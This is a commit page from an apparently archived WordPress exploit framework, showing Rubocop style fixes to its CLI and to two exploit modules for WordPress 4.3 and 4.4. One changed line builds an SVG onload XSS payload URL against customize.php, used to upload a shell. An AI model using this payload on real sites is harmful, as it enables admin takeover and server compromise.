Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit b6676ba

Browse files
committed
Fix numerous Rubocop violations
1 parent 5c3a185 commit b6676ba

File tree

3 files changed

+14
-7
lines changed

3 files changed

+14
-7
lines changed

lib/cli/modules.rb

Lines changed: 8 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -40,13 +40,20 @@ def use(module_path)
4040
refresh_autocomplete_options
4141
end
4242

43+
def module_name_from_class(klass)
44+
klass.new.module_name
45+
end
46+
4347
def search_modules(args)
4448
pattern = /#{args.map { |m| Regexp.escape(m) }.join('|')}/i
4549
module_list = Wpxf::Auxiliary.module_list + Wpxf::Exploit.module_list
4650

4751
results = []
4852
module_list.select { |m| m[:name] =~ pattern }.each do |mod|
49-
results.push(path: mod[:name], title: mod[:class].new.module_name)
53+
results.push(
54+
path: mod[:name],
55+
title: module_name_from_class(mod[:class])
56+
)
5057
end
5158

5259
results

modules/exploits/wp_v4.3_shortcode_xss_shell_upload.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -33,7 +33,7 @@ def check
3333
version = wordpress_version
3434
return :unknown if version.nil?
3535
return :vulnerable if version < Gem::Version.new('4.3.1')
36-
return :safe
36+
:safe
3737
end
3838

3939
def run
@@ -48,6 +48,6 @@ def run
4848
puts
4949

5050
start_http_server
51-
return @success
51+
@success
5252
end
5353
end

modules/exploits/wp_v4.4_xss_shell_upload.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -29,12 +29,12 @@ def check
2929
version = wordpress_version
3030
return :unknown if version.nil?
3131
return :vulnerable if version == Gem::Version.new('4.4')
32-
return :safe
32+
:safe
3333
end
3434

3535
def url_with_xss
36-
url = normalize_uri(wordpress_url_admin, "customize.php")
37-
url += "?theme=<svg onload=#{xss_ascii_encoded_include_script}>"
36+
url = normalize_uri(wordpress_url_admin, 'customize.php')
37+
url + "?theme=<svg onload=#{xss_ascii_encoded_include_script}>"
3838
end
3939

4040
def run
@@ -47,6 +47,6 @@ def run
4747
puts
4848

4949
start_http_server
50-
return @success
50+
@success
5151
end
5252
end

0 commit comments

Comments
 (0)